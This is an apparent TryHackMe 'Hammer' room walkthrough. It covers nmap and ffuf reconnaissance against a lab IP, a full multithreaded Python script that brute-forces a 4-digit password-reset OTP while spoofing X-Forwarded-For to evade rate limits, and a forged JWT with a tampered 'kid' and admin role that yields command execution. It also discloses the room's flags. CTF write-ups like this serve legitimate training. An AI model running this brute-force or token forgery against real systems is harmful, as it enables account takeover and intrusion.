TryHackMe-Hammer
“Completing the Hammer Room: My Journey Through Web Application Pentesting on TryHackMe”
I completed the “Hammer” room on TryHackMe, which focuses on web application penetration testing. It was a very interesting experience, and I learned several new things. In this article, I’ll share how I completed the room, what challenges I faced, and the interesting techniques I used. Let’s get started!
Task 1: Hammer
What is the flag value after logging in to the dashboard?
Using Nmap with the following command, I discovered that only two ports were open:
nmap -Pn -sS -sV -Pn -p- 10.201.104.171A web application was running on port 1337.
http://10.201.104.171:1337/I tried common usernames and passwords like admin:admin, admin:password, etc. but nothing worked. By clicking the “Forgot Password” button, it prompted for an email. So, first, we need to find a user.
While inspecting the page source, I discovered an intriguing message.
It’s clear that the directory prefix is ‘hmr,’ so we can try discovering the full path with the ffuf tool.
ffuf -u http://10.201.104.171:1337/hmr_FUZZ -w /usr/share/wordlists/dirb/common.txtFour directories were found, including ‘hmr_logs,’ which itself contains a subdirectory called ‘error_logs
http://10.201.104.171:1337/hmr_logs/we found the Email was tester@hammer.thm
Get Abdullah Al Ahad’s stories in your inbox
Join Medium for free to get updates from this writer.
Next, we can enter the email address into the ‘Forgot Password’ field. After submitting, the site requests OTP verification and gives us only 180 seconds to enter the OTP.
At this point, I used a Python script that bypassed the 4-digit OTP and set the password I had chosen (Password123). After that, I was able to log in to the account.
nano brup-force.py
import requests
import random
import threading
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
url = "http://10.201.104.171:1337/reset_password.php"
num_threads = 50
stop_flag = threading.Event()
# Retry mechanism
retry_strategy = Retry(
total=5,
backoff_factor=1,
status_forcelist=[500, 502, 503, 504],
raise_on_status=False
)
adapter = HTTPAdapter(max_retries=retry_strategy)
session = requests.Session()
session.mount("http://", adapter)
def brute_force_code(start, end):
for code in range(start, end):
code_str = f"{code:04d}"
try:
r = session.post(
url,
data={"recovery_code": code_str, "s": "180"},
headers={
"X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
},
timeout=10,
allow_redirects=False,
)
if stop_flag.is_set():
return
elif r.status_code == 302:
stop_flag.set()
print("[-] Timeout reached. Try again.")
return
elif "Invalid or expired recovery code!" not in r.text:
stop_flag.set()
print(f"[+] Found the recovery code: {code_str}")
print("[+] Sending the new password request.")
new_password = "Password123"
session.post(
url,
data={
"new_password": new_password,
"confirm_password": new_password,
},
headers={
"X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
},
)
print(f"[+] Password is set to {new_password}")
return
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
continue
def main():
print("[+] Sending the password reset request.")
session.post(url, data={"email": "tester@hammer.thm"})
print("[+] Starting the code brute-force.")
code_range = 10000
step = code_range // num_threads
threads = []
for i in range(num_threads):
start = i * step
end = start + step
thread = threading.Thread(target=brute_force_code, args=(start, end))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if __name__ == "__main__":
main()#You can only change the IP address in the URL option.(line no 7)
python3 brup-force.pyBoom! The password was changed to Password123
Answer: THM{AuthBypass3D}
What is the content of the file /home/ubuntu/flag.txt?
There is a search box in the application, and when I tried the “ls” command, it displayed multiple files.
search the path →
http://10.201.104.171:1337/188ade1.keyThen I downloaded the 188ade1.key file. When I opened it, I found the code →
Next, open Burp Suite and send the request → send to reapeater option
persistentSession=no (change and set yes)
Using jwt.io, I decoded the JWT token found in the page source. Decoding the token revealed that the key location was /var/www/mykey.key and there was a role section in the payload as well.
change the 3 setting “kid”: “/var/www/html/188ade1.key” “role”: “admin” 56058354efb3daa97ebab00fabd7a7d7
Then copy the encoded token, paste it into Burp Suite, run {“command”:”id”} and view the result →
The location of the flag was already provided. So run →
cat /home/ubuntu/flag.txtans:THM{RUNANYCOMMAND1337}
“Boom!
Room completed 🎉 It was a fun challenge, and I hope you enjoyed exploring this machine as much as I did. Follow me for more walkthroughs and hacking stories.”







![[THM] Kaboom — Writeup](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*lCi9zk8eoN5IKWdgpyIcuQ.png)